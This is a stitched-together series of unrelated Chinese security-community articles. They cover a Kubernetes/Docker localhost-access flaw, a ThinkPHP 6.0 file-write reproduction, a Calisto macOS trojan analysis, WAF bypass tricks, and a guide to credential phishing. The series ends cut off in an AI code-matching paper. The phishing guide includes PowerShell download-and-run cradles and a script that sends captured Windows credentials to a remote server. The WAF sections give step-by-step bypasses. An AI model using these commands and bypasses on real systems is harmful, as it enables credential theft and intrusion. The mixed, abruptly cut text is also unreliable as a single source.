如果容器中 accept_local=1、rp_filter=0 有一个条件不成立，就会发生丢包。这个时候如果你在容器网络命名空间用`tcpdump -i
eth0 'port 8888' -n -e`观察，就会发现诡异的现象：容器接收到了syn-ack包，但是没有回第三个ack握手包。如下图
> 小技巧：nsenter -n -t 容器进程pid 可以进入到容器网络空间，接着就可以tcpdump抓"容器网络中的包"
# docker网桥模式下复现漏洞
## docker网桥模式下漏洞原理是什么？
借用网络上的一张图来说明docker网桥模式
在容器内`curl 127.0.0.1:8888 --interface eth0`时，发送第一个syn包时，在网络层查找路由表
[root@instance-h9w7mlyv ~]# ip route show
default via 172.17.0.1 dev eth0
172.17.0.0/16 dev eth0 proto kernel scope link src 172.17.0.3
因此会走默认网关(172.17.0.1)，在链路层就会找网关的mac地址
[root@instance-h9w7mlyv ~]# arp -a|grep 172.17.0.1
_gateway (172.17.0.1) at 02:42:af:2e:cd:ae [ether] on eth0
实际上`02:42:af:2e:cd:ae`就是docker0网桥的mac地址，所以网关就是docker0网桥
[root@instance-h9w7mlyv ~]# ifconfig docker0
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
...
ether 02:42:af:2e:cd:ae txqueuelen 0 (Ethernet)
...
因此第一个syn包信息是
源ip | 目的ip | 源mac | 目的mac | 源端口 | 目的端口
---|---|---|---|---|---
容器eth0 ip | 127.0.0.1 | 容器eth0 mac | docker0 mac | 4444(随机端口) | 8888
syn包数据包数据流向是 容器内eth0 -> veth -> docker0。
veth设备作为docker0网桥的"从设备"，接收到syn包后直接转发，不会调用到"内核协议栈"的网络层。
docker0网桥设备收到syn包后，在"内核协议栈"的链路层，看到目的mac是自己，就把包扔给网络层处理。在网络层查路由表，看到目的ip是本机ip，就将包扔给传输层处理。在传输层看到访问"127.0.0.1:8888"，就会查看是不是有服务监听在"127.0.0.1:8888"。
## 怎么复现？
从上面分析可以看出来，需要将宿主机docker0网桥设备route_localnet设置成1。
宿主机docker0网桥设备需要设置rp_filter和accept_local选项吗？答案是不需要，因为docker0网桥设备在收到数据包在网络层做"反向检查源地址"时，会知道"响应数据包"也从docker0网桥发送。"发送和接收数据包的设备"是匹配的，所以能通过"反向检查源地址"的校验。
容器中eth0网卡需要设置rp_filter=0、accept_local=1、localnet=1。为什么容器中eth0网卡需要设置rp_filter和accept_local选项呢？因为eth0网桥设备如果做"反向检查源地址"，就会知道响应包应该从lo网卡发送。"接收到数据包的设备是eth0网卡"，而"发送数据包的设备应该是lo网卡"，两个设备不匹配，"反向检查"就会失败。rp_filter=0、accept_local=1可以避免做"反向检查源地址"。
> 即使ifconfig lo down，`ip route show table local`仍能看到local表中有回环地址的路由。
下面你可以跟着我来用docker复现漏洞。
首先在宿主机上打开route_localnet配置
[root@instance-h9w7mlyv ~]# sysctl -w net.ipv4.conf.all.route_localnet=1
然后创建容器，并进入到容器网络命名空间，设置rp_filter=0、accept_local=1
[root@instance-h9w7mlyv ~]# docker run -d busybox tail -f /dev/null // 创建容器
62ba93fbbe7a939b7fff9a9598b546399ab26ea97858e73759addadabc3ad1f3
[root@instance-h9w7mlyv ~]# docker top 62ba93fbbe7a939b7fff9a9598b546399ab26ea97858e73759addadabc3ad1f3
UID PID PPID C STIME TTY TIME CMD
root 43244 43224 0 12:33 ? 00:00:00 tail -f /dev/null
[root@instance-h9w7mlyv ~]# nsenter -n -t 43244 // 进入到容器网络命名空间
[root@instance-h9w7mlyv ~]#
[root@instance-h9w7mlyv ~]# sysctl -w net.ipv4.conf.all.accept_local=1 // 设置容器中的accept_local配置
[root@instance-h9w7mlyv ~]# sysctl -w net.ipv4.conf.all.rp_filter=0 // 设置容器中的rp_filter配置
[root@instance-h9w7mlyv ~]# sysctl -w net.ipv4.conf.default.rp_filter=0
[root@instance-h9w7mlyv ~]# sysctl -w net.ipv4.conf.eth0.rp_filter=0
> 如果你是`docker exec -ti busybox sh`进入到容器中，然后执行`sysctl
> -w`配置内核参数，就会发现报错，因为/proc/sys目录默认是作为只读挂载到容器中的，而内核网络参数就在/proc/sys/net目录下。
然后就可以在容器中使用`curl 127.0.0.1:端口号 --interface eth0`来访问宿主机上的服务。
# kubernetes对漏洞的修复
在
[这个pr](https://github.com/kubernetes/kubernetes/pull/91569/commits/8bed088224fb38b41255b37e59a1701caefa171b)
中kubelet添加了一条iptables规则
root@ip-172-31-14-33:~# iptables-save |grep localnet
-A KUBE-FIREWALL ! -s 127.0.0.0/8 -d 127.0.0.0/8 -m comment --comment "block incoming localnet connections" -m conntrack ! --ctstate RELATED,ESTABLISHED,DNAT -j DROP
这条规则使得，在tcp握手时，第一个syn包如果目的ip是"环回地址"，同时源ip不是"环回地址"时，包会被丢弃。
> 所以如果你复现时是在kubernetes环境下，就需要删掉这条iptables规则。
或许你会有疑问，源ip不也是可以伪造的嘛。确实是这样，所以在
<https://github.com/kubernetes/kubernetes/pull/91569>
中有人评论到，上面的规则，不能防止访问本地udp服务。
# 总结
公有云vpc网络环境下，可能因为交换机有做限制而导致无法访问其他虚拟机的"仅绑定在127.0.0.1的服务"。
docker容器网桥网络环境下，存在漏洞的kube-proxy已经设置了宿主机网络的route_localnet选项，但是因为在容器中`/proc/sys`默认只读，所以无法修改容器网络命名空间下的内核网络参数，也很难做漏洞利用。
kubernetes的修复方案并不能防止访问本地udp服务。
> 如果kubernetes使用了cni插件(比如calico
> ipip网络模型)，你觉得在node节点能访问到master节点的"仅绑定在127.0.0.1的服务"吗？
# 参考
[内核网络参数详解](https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt) | 社区文章 |
# Thinkphp6.0任意文件写入漏洞复现
作者:1ight@星盟
## 环境搭建
首先通过composer安装thinkphp6框架
Mac OS
curl -sS getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
国内镜像
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
安装ThinkPHP
composer create-project topthink/think think6
安装以后默认是最新版本，编辑根目录下的composer.json
然后执行`composer update`
成功降级
ThinkPHP6默认不开启session，我们需要修改app\middleware.php文件
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
// \think\middleware\LoadLangPack::class,
// Session初始化
\think\middleware\SessionInit::class
];
最后执行`php think run`即可
## 漏洞利用
**影响版本** ：ThinkPHP6.0.0-6.0.1
利用方式：网站使用到了session
## 任意文件写入
测试环境：PHP7.4.1
macOS Catalina
首先修改_app_controller/index.php
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : '';
$b = isset($_GET['b']) && !empty($_GET['b']) ? $_GET['b'] : '';
session($a,$b);
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}
构造payload:
访问aaaaaaaaaaa.php
可以看到成功写入/public目录
## 漏洞分析
官方给出的修复方式[修正sessionid检查的一处隐患 · top-think/framework@1bbe750 ·
GitHub](https://github.com/top-think/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2)
漏洞位于_vendor_topthink_framework_src_think_session/Store.php，修复方法，仅仅是增加了ctype_alnum()函数对$id值进行检测，如果$id全部的字符为字母或者数字返回TRUE否则返回FALSE。
漏洞一定和setId()函数有关，我们可以先找一下哪里调用了setId()函数，要找到$id参数是从哪里来的。
这边看上去有些不同，跟进分析一下
可以发现这里的session.var_session_id默认为空，else里执行$sessionId =
$request->cookie($cookieName)，$cookieName是由getName()函数设置的。查一下$cookieName是什么，在_vendor_topthink_framework_src_think_session/Store.php发现$cookieName的值是”PHPSESSID”，而这个值是我们可以控制的。
好像没有什么思路了，回到官方补丁的位置再看看还有什么没有想到的点。回去后我们发现，在setId()函数下面_vendor_topthink_framework_src_think_session/Store.php129行还有一个getId()函数，该函数用于返回$id值，查看调用后发现了文件写入的位置。
看一下write()函数
_vendor_topthink_framework_src_think_session_driver_File.php
看一下这两个函数
首先发现最终$filename被拼接成了sess_$name
从之前的分析中，我们知道getFileName中传进的$sessID是getId()函数获得的$id的值，而这个$id实际上来自于cookie中的PHPSESSID。同时，当setId()函数中$id长度为32时，不会进行md5操作，于是只要把输入PHPSESSID内容控制在32位，我们就可以控制最终的session文件名。
最终在_vendor_topthink_framework_src_think_session_driver_File.php
写入文件，但是想要控制文件内容，还是需要控制好储存session变量键名或者键值，具体还要根据具体情况进行判断。
Referer
<https://paper.seebug.org/1114/> | 社区文章 |
本文翻译自：<https://securelist.com/calisto-trojan-for-macos/86543/>
* * *
研究人员近期发现一个macOS后门Calisto，Calisto木马可能是Proto恶意软件家族的第一个成员。本文将对Calisto进行深入分析。
该恶意软件2016年就被上传到VirusTotal了，而2016年应该正是该恶意软件被开发出的时间。但直到2018年5月，两年过去了，反病毒软件一直没有检测到Calisto。
MacOS上的恶意软件并不常见，发现的样本中也含有一些非常常见的特征。
# 传播
其实研究人员还没有该后门传播方式的可信证据。但Calisto安装文件是一个未签名的DMG镜像，伪装成Intego的安全软件（mac版本）。有趣的是，Calisto开发者选择的是该程序的第9版本。
下面比较一下恶意软件和官网下载的Mac Internet Security X9：
从上图可以看出，这两个应用是非常相似的，如果之前没有用过该应用的话，应该是很难看出来区别。
# 安装
应用安装时间会呈现给用户一个虚假的许可协议，协议中的文本与Intego的协议内容是不同的，可能开发者使用的之前版本的许可协议。
然后，恶意软件会要求用户输入用户名和密码，这与在macOS上安装其他软件是一样的。
在收到用户输入的凭证时，程序会挂起并出现错误，建议用户从官网下载新的安装包（是不是平时也遇到过这样的情况？所以一切看起来都很正常）。
该技术其实很简单，但是也很有效。而官网下载的程序在安装过程中不会出现什么问题，而恶意软件会在后台默默地工作。
# 木马分析
SIP，SystemIntegrityProtection（系统完整性保护），是为了保护系统进程、文件、文档不被其它进程修改，不管是否为root
user，SIP技术主要分为文件系统保护，运行时保护，内核扩展签名，文件系统保护主要是通过沙盒机制限制root权限，运行时保护，主要就是保护关键进程无法被进程代码注入，挂调试器以及内核调试等，内核扩展签名，所有的第三方kext必须被安装到/Library/Extensions，并强制使用签名。
## 开启SIP
Calisto的活动在SIP开启时是非常受限的，因为SIP是2015年发布的，而Calisto是2016年或之前开发的，所以开发者好像并没有考虑到SIP的限制作用。但是许多用户在很多情况下都会关闭SIP，这也就给了Calisto很大的活动空间。所以，研究人员建议尽量不要关闭SIP。
通过子进程日志和反编译的代码可以分析出Calisto的活动：
图 Trojan执行的命令日志
图 Calisto样本中硬编码的命令
可以看到木马使用了一个名为.calisto的隐藏目录来存储：
* Keychain存储数据；
* 从用户登陆密码窗口提取的数据；
* 网络连接信息；
* Google Chrome中的数据：历史记录、书签、Cookie。
Keychain存储用户保存的密码和token，包括Safari中保存的。存储的加密密钥就是用户的密码。
如果SIP开启，木马在修改系统文件时就会发生错误，这回违反木马的运作逻辑，导致木马停止运行。
错误信息
## SIP关闭或不可用的情况
SIP关闭后，Calisto可以运行的功能就变多了。首先，会执行上面的步骤，但木马不会给SIP阻断；然后，执行下面的步骤：
* 复制自己到/System/Library/文件夹；
* 设置为开机自动启动；
* 卸载DMG镜像；
* 加入到无障碍服务中；
* 收集系统的额外信息；
* 开启系统远程访问权限；
* 转发收集的数据到C2服务器。
下面看一下恶意软件执行的相关机制：
加入到开始菜单是macOS的经典技术，是通过在/Library/LaunchAgents/文件夹下创建一个.plist文件:
通过下面的命令卸载DMG镜像：
为了扩展能力，Calisto会直接修改TCC.db文件来将自己加入到无障碍服务中，反病毒软件对这类行为是非常敏感的。但该方法的另一个优点是不需要用户交互就可以完成。
Calisto的一个重要特征就是获取用户系统的远程访问权限，为了获取权限，需要：
* 开启远程登陆；
* 开启屏幕共享；
* 为用户配置远程登陆权限；
* 允许所有用户远程登陆；
* 开启macOS中隐藏的root账号，设置特定密码。
使用的命令如下：
虽然macOS中存在root用户，但是默认情况下是不开启的。系统重启后，Calisto会请求用户数据，但这需要输入真是root用户密码，而真是的root用户密码被Calisto修改了（`root:
aGNOStIC7890!!!`）。这也说明了木马的原始性。
最后，Calisto会尝试将所有的数据从.calisto文件夹上传到犯罪分子的服务器上。研究人员发现，该服务器已经下线了：
恶意软件连接的C2服务器
## 其他功能
通过对Calisto静态分析发现了一些尚未使用的功能：
* 加载处理USB设备的kernel扩展；
* 从用户目录窃取数据；
* 和整个系统一起自毁。
加载kernel扩展
处理用户目录
自毁
# 与Backdoor.OSX.Proton的连接
从概念上讲，Calisto后门聚合了一系列的Backdoor.OSX.Proton家族成员：
* 首先，传播方法是相似的：恶意软件伪装成一个著名的反病毒软件（Backdoor.OSX.Proton）；
* 木马样本含有com.proton.calisto.plist；
* 与Backdoor.OSX.Proton类似，木马能从用户系统中窃取大量的个人数据，包括Keychain的内容。
Proton恶意软件家族所有已知成员都在2017年被发现。而Calisto木马是2016年检测到的，因此可以假设这两个木马是同一作者，Calisto也可能是Backdoor.OSX.Proton的第一版本甚至原型系统。
为了防止Calisto、Proton和类似软件，应该：
* 保持更新操作系统；
* 不要关闭SIP；
* 只运行从可信源下载的经过签名的软件，比如从APP store下载的软件；
* 使用反病毒软件。
## MD5
DMG image: d7ac1b8113c94567be4a26d214964119
Mach-O executable: 2f38b201f6b368d587323a1bec516e5d | 社区文章 |
# **第一篇** 架构层绕过 **WAF**
## **0x00 前言**
许多朋友在渗透测试中因为遇到WAF而束手无策，本人应邀，与godkiller一同写下此文，希望能够对许多朋友的问题有所帮助。
此系列一共分为五篇文章，分别如下：
一、 **架构层绕过WAF**
l CDN WAF绕过
l 白名单应用
二、 **匹配资源大小限制**
l 服务器端配置（Data MAX Length）
三、 **协议未正确解析**
l HTTP不同的请求方法污染
l GET与POST的区别
l 文件上传
l HTTP参数污染（HPP)
四、 **发现WAF缺陷过程**
l 绕过某WAF上传
l 绕过某WAF注入
l 自动化Bypass
l 思考
五、 **过滤/拦截规则不严谨**
l 等价替换
l 大小写替换
l 不常用条件
l 特殊符号
l 编码
l 注释
## **0x01 CDN WAF绕过**
CDN的全称是Content Delivery
Network，即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节，使内容传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络，CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容，解决
Internet网络拥挤的状况，提高用户访问网站的响应速度。 --来源“百度”
目前CDN服务的功能是越来越多，安全性也越加强悍，用户的每个请求都会被发送到指定的CDN节点上，最后转发给真实站点。这个过程就好像加了一道关卡，这个关卡提供了缓存、加速、防御的特点。
在渗透测试中，如果遇到了CDN站点，几乎许多测试请求都会被CDN拦截，甚至多次请求后，会被加入黑名单。这个CDN节点属于云端WAF，如果将数据直接发送给真实站点，那么也就没有CDN的处理了，整个防御就没有任何作用。
那么下面我来带给大家几个方法来绕过云端WAF。首先我们必须要查询到目标站点的真实地址才可以，这里的真实地址就指的是真实IP。以下几个方法只是个人之见，如果有遗漏或者缺点，请在文章评论指出……
第一个，查询域名历史DNS解析，网上有很多站点都可以查询站点的历史DNS解析。假设我在本月10号，域名绑定的服务器IP是199.199.199. **
_，在下月15号更换了服务器的IP，那么这个199.199.199._**
可能就会被直接记录在历史记录中。再根据历史记录进行判断当前IP是否是现在的网站真实服务器地址。
第二个，查看子域名解析地址是否和主域名的IP地址相近。一般再查询域名是否存在CDN的话，我们可以看响应头、或者看解析记录，里面大多都有关于云端CDN的字眼。当然提倡写脚本，Kali
Linux中也有工具 ~
第三个，社工DNS 比较苛刻，需要拿到CDN那边的管理员权限开可以。
第四个，CDN节点分发缺陷，通过国外IP访问网站可能会出现真实IP，因为有的CDN服务商可能只做了国内节点，没做国外的，这样访问请求是直接被转发到真实服务器地址上。
那么下面来概述一下得到了绕过的条件如何进行绕过，假设服务器端的IP地址为121.121.1x1.1x1，管理员设置了CDN节点，经过上面的方法得到真实IP地址后，可以直接更改本地的hosts文件来直接将数据发送到网站服务器上。这里不再详细概述啦~
## **0x02 白名单应用（子域名）**
在有些时候，某些厂商的环境刚刚上线，用于调试项目，并没有直接将子域名添加至CDN节点，那么就有可能出现某些安全隐患，因为刚上线的项目都没有任何防御措施，如果当前项目与目标站点搭建在同一个服务器中，也会成为我们绕过WAF的有利条件。当然白名单应用不止一个上线项目，还有某些管理应用，例如：phpmyadmin，其操作完全不会被WAF拦截，当然应用过多，本人不才，只接触一些常见的，欢迎补充。
# 第二篇 应用层过WAF
## **0x01** HTTP不同的请求方法污染
> **GET** 请求指定的页面信息，并返回实体主体。
>
> **HEAD** 类似于GET请求，只不过返回的响应中没有具体的内容，用于获取报头
>
> **POST**
> 向指定资源提交数据进行处理请求（例如提交表单或者上传文件）。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。
>
> **PUT** 从客户端向服务器传送的数据取代指定的文档的内容。
>
> **DELETE** 请求服务器删除指定的页面。
>
> **CONNECT** HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
>
> **OPTIONS** 允许客户端查看服务器的性能。
>
> **TRACE** 回显服务器收到的请求，主要用于测试或诊断。
我们可以先看一个请求：
可见是一个GET请求，此服务器是一个Apache+PHP的环境。
假设服务器只拦截
GET/POST
请求，那么根据Apache服务器的特性，发送其他请求只要脚本接收的是GET参数，那么也是可以传递参数值的。
如图：
此知识点需要先知道各个Web服务器环境的特性，然后再针对 **特性** 去做测试。
## **0x02 GET与POST的区别**
Http定义了与服务器交互的不同方法，最基本的方法有4种，分别是GET，POST，PUT，DELETE。URL全称是资源描述符，我们可以这样认为：一个URL地址，它用于描述一个网络上的资源，而HTTP中的GET，POST，PUT，DELETE就对应着对这个资源的查，改，增，删4个操作。到这里，大家应该有个大概的了解了，GET一般用于获取/查询资源信息，而POST一般用于更新资源信息。
在网上已经有很多朋友写过了其问题的答案，但是对于WAF，我们就要转变角度去看了，第一点就是要看数据包的区别。
GET /sql/index2.php?id=2 HTTP/1.1
Host: 192.168.1.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: yunsuo_session_verify=a89786c1a180124a6820b6387b85b693
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
POST /sql/search.php HTTP/1.1
Host: 192.168.1.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.102/sql/search.php
Cookie: yunsuo_session_verify=a89786c1a180124a6820b6387b85b693
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
keywords=t
可见在请求的数据包中，POST比GET多了一个
Content-Type: application/x-www-form-urlencoded
这个是将提交数据变成url编码来传递给服务器，那么如此说来，也有的WAF会解析这行
Content-Type
去识别是否是POST注入，因为要防止方法污染。
如图：
这样也可以有几率扰乱WAF的判断。
## **0x03 文件上传**
关于文件上传我们来分享几点，用于延伸下方HPP这一点。
先看一个上传数据包。
POST /upload.php HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.100/
Cookie:yunsuo_session_verify=1a9c7117538a7a9bce39a4695ff3f0cc; safedog-flow-item=
X-Forwarded-For: 1.1.1.1
CLIENT_IP: 2.2.2.2
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type:multipart/form-data; boundary=---------------------------440470572354
Content-Length: 1089
-----------------------------440470572354
Content-Disposition: form-data; name="file"; filename="n.php"
Content-Type: application/octet-stream
<?php
phpinfo();
?>
-----------------------------440470572354
Content-Disposition: form-data; name="submit"
Submit
-----------------------------440470572354--
Content-Type:multipart/form-data;
指代的是这个数据是来自表单提交的
某些WAF是通过Content-Type识别是否是文件上传数据包。假设我们将Content-Type更改，数据包也是正常提交过去的。这个就完成了一次bypass。
还有的时候就是
Content-Disposition: form-data;
，也有某些WAF是根据Content-Disposition匹配
filename
的
（Safe Dog 3.5/4.0通杀）
，用于验证黑名单。我们经过混淆大小写也是可以bypass的。
拦截：
Bypass:
具体看
关于Safe DOG的文件上传bypass**
## **0x04 **** HTTP ****参数污染（HPP）**
上一节已经讲过了文件上传，在HPP中最典型的的例子就是“双文件上传”。
就是在协议中，提交两个相同的值，达到欺骗WAF一次匹配的目的。在这里提点一下http协议中参数名与参数值的结构。
[参数名]=“参数值”; 或者
[参数名]=“参数值”亦或者
[参数名]=参数值 亦或者
[参数名]=参数值;
这类都会被解析，只要根据正规协议数据结构去构造数据包即可bypass。
我们来看一个例子：
这里已经被拦截，我们根据上述条件来修改数据包：
已经bypass成功了。此文涉及的知识面并不广，只是有些小技巧，如果你还有更好的研究方法，可以一同交流。 | 社区文章 |
**作者：pentestlab
原文链接：<https://mp.weixin.qq.com/s/hGYeXAzrE0B5Xk4UpE9P4g>**
在内网进行横向移动提权的时候，需要获取大量用户的域账号信息，通常的方式是抓取目标机器上的登录哈希和密码，除了这种方式，还可以通过网络钓鱼的方式，欺骗用户使用凭证输入到我们伪造的页面上。
在 Windows 系统环境中，存在许多需要用户进行身份认证的场景，比如 Outlook
登录、提升授权（用户账户控制）或者锁屏需要解锁时，通过模拟这类场景，很容易让用户上当并且不易被发现。
### FakeLogonScreen
FakeLogonScreen 是用 C# 编写的应用程序，可以模拟 Windows 的登录屏幕来欺骗用户输入，从而盗取凭证，下载地址：
> <https://github.com/bitsadmin/fakelogonscreen>
在目标的 meterpreter 会话中，指定该程序：
该工具能够显示当前配置的背景，从而减少有安全意识的用户发现此恶意操作的风险：
当用户在假登录屏幕上输入密码时，他会在 AD 或本地执行验证，从而保证密码是正确的，用户输入时会将结果打印在控制台：
除此之外，还会将结果保存在本地的文件中，可以用下面的命令查看：
> type C:\Users\pentestlab.PENTESTLAB\AppData\Local\Microsoft\user.db
### SharpLocker
这个程序也能实现上面的功能，下载地址：
> <https://github.com/Pickfordmatt/SharpLocker>
每次点击都将在控制台上显示，直到用户的密码输入完成：
### CredsLeaker
Windows 安全输入提示经常出现，因为在企业环境中，应用程序会定期要求用户进行身份认证，Microsoft outlook
就是一个经常要求身份验证的产品，CredsLeaker 就可以模拟 windows 的安全提示窗口，要求用户输入凭证，在启动之前需要将必要文件上传至 web
服务器，该程序会将结果发送至远程服务器，然后远程服务器将收到的结果保存在文本文件中，可以将 Powershell 的命令放在 bat 文件中执行，下载地址:
> <https://github.com/Dviros/CredsLeaker>
在执行 BAT 文件之前，需要将服务器地址添加到相应的 powershell、php 文件中，执行之后在目标系统上显示的窗口如下：
只有当提供的凭据正确时，弹出窗口才会消失。域名、主机名、用户名和密码都会写入到下面的位置：
> /var/www/html/creds.txt
### Invoke-LoginPrompt
这个脚本的功能和使用方法与 CredsLeaker 类似，下载地址：
> <https://github.com/enigma0x3/Invoke-LoginPrompt>
凭据将显示在控制台中：
> powershell.exe -ep Bypass -c IEX ((New-Object
> Net.WebClient).DownloadString('http://10.0.0.13/tmp/Invoke-> LoginPrompt.ps1')); Invoke-LoginPrompt
### Invoke-CredentialsPhish
这个是 Nishang 框架中的一个脚本，可用于创建虚假输入提示符，来收集窗口凭据：
输入提示符会携带一条说明需要输入凭据的提示，安全意识比较强的很容易发现问题，并不适用所有企业环境：
当用户的凭据输入时，结果将显示在控制台：
脚本也可以通过远程调用：
> powershell.exe -ep Bypass -c IEX ((New-Object
> Net.WebClient).DownloadString('http://10.0.0.13/tmp/Invoke-> CredentialsPhish/ps1')); Invoke-CredentialsPhish
### 自定义脚本
首先使用 metasploit 中的 http_basic 模块设置一个需要基本身份验证的 HTTP 服务器：
> use auxiliary/server/capture/http_basic set URIPATH /
使用下面的 powershell 代码创建输入提示符窗口，并将凭据通过 HTTP 请求发送至远程 Metasploit 服务器，从而获取凭证：
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('http://10.0.0.13/');
为了方便操作，需要将以上代码转为 base64，转换之前需要使用 UTF-16LE 字符编码，然后再进行 Base64：
> cat popup.txt | iconv -t UTF-16LE cat popup.txt | iconv -t UTF-16LE | base64
> -w0
使用下面的命令将 base64 的 payload 执行：
> powershell.exe -ep bypass -enc
Metasploit 获得的结果如下：
### phish_windows_credentials
这个是 Metasploit 框架中的一个模块，可以指定创建特定进程时弹出输入提示窗口，必须制定当前已经连接的 Meterpreter 会话：
> use post/windows/gather/phish_windows_credentials set SESSION 3 set PROCESS
> * run
通配符 * 指示模块监视系统上运行的所有进程，只要有新的进程启动，就会弹出输入提示框：
输入提示框作为该进程需要认证作为提示展示给用户，要求输入凭证，如果设置的进程不合理，很容易被人发现异常：
当用户输入凭据时，捕获到凭证将显示在控制台：
模块也可以配置为仅用于创建特定进程：
### 参考文献
> <https://attack.mitre.org/techniques/T1141/>
>
> <https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-> just-ask/>
>
> <https://github.com/enigma0x3/Invoke-LoginPrompt>
>
> <https://github.com/samratashok/nishang/blob/master/Gather/Invoke-> CredentialsPhish.ps1>
>
> <https://github.com/bitsadmin/fakelogonscreen>
>
> <https://github.com/Pickfordmatt/SharpLocker>
>
> <https://malicious.link/post/2015/powershell-popups-and-capture/>
>
> <https://github.com/Dviros/CredsLeaker>
* * * | 社区文章 |
**作者：腾讯科恩实验室
原文链接：<https://mp.weixin.qq.com/s/fvnvh25VaHgproPvVT6LDg>**
### 导语
在NeurIPS 2020中，腾讯安全科恩实验室使用AI算法解决二进制安全问题的《CodeCMR: Cross-Modal Retrieval For
Function-Level Binary Source Code Matching》论文成功入选。本论文首次提出了
**基于AI的二进制代码/源代码端到端匹配算法**
，与传统算法相比效果非常出色，准确率大幅提升。本论文成果为逆向分析领域提供了新的思路，大大提升工业部署效率。最新论文研究成果也将应用于腾讯安全科恩实验室研发的代码检索工具
**BinaryAI** ，使用体验请关注：<http://github.com/binaryai/sdk>。
### 关于NeurIPS会议
机器学习和计算神经科学领域的NeurIPS会议是人工智能领域最具影响力的顶级学术会议之一，备受学者们的关注。国际顶级会议NeurIPS
2020将于2020年12月7日-12日在线上举行。据统计，NeurIPS 2020收到投稿 **9454** 篇， **创历史最高纪录** ，接收论文
**1900** 篇，论文接收率仅有历史最低的20.1%。
### 背景
论文链接：CodeCMR: Cross-Modal Retrieval For Function-Level Binary Source Code
Matching
https://keenlab.tencent.com/zh/whitepapers/neurips-2020-cameraready.pdf
在人工智能顶级学术会议AAAI
2020中，腾讯安全科恩实验室[利用图神经网络解决二进制程序函数相似性分析问题的技术](https://mp.weixin.qq.com/s?__biz=MzU1MjgwNzc4Ng==&mid=2247484184&idx=1&sn=f647cbb5c23e1f90dd7f7918146dc016&chksm=fbfd3f1dcc8ab60b1c966146191c8f216b7f62b98d8452bfa7b2595dde45d97cffda2133aaaf&scene=21#wechat_redirect
"利用图神经网络解决二进制程序函数相似性分析问题的技术")得到了广泛关注。在此基础上，本次研究方向扩展到 **二进制代码与源代码的交叉领域** ，进一步实现
**腾讯安全科恩实验室在AI+安全新兴方向中的全新探索与突破** 。
二进制代码-源代码匹配是信息安全领域的重点研究方向之一。在给定二进制代码的情况下，逆向分析研究人员希望找到它对应的源代码，从而提升逆向分析的效率和准确率。但由于源代码和二进制代码的差异性，在此领域的研究较少。B2SFinder[1]和BinPro[2]等传统算法提取源代码和二进制代码的字符串、立即数等特征进行匹配。然而，
**函数级别的源代码与二进制代码的特征非常少，匹配准确率不高** 。另一方面，设计合适的特征需要 **大量的专家经验** 。
图1展示了一个函数的源代码与二进制代码。从图1中可以看出，除了字符串和立即数特征，代码中隐藏的语义特征也很关键。因此，本文希望设计一种端到端模型，可以自动提取代码间的语义特征，从而提升匹配的准确率。
图1 - 二进制代码与对应的源代码
### 模型
这是一个二进制代码-源代码间的检索任务，我们把两种代码当作两个模态的输入，即可类比到图文互搜等跨模态检索场景。因此，我们设计了如图2所示的
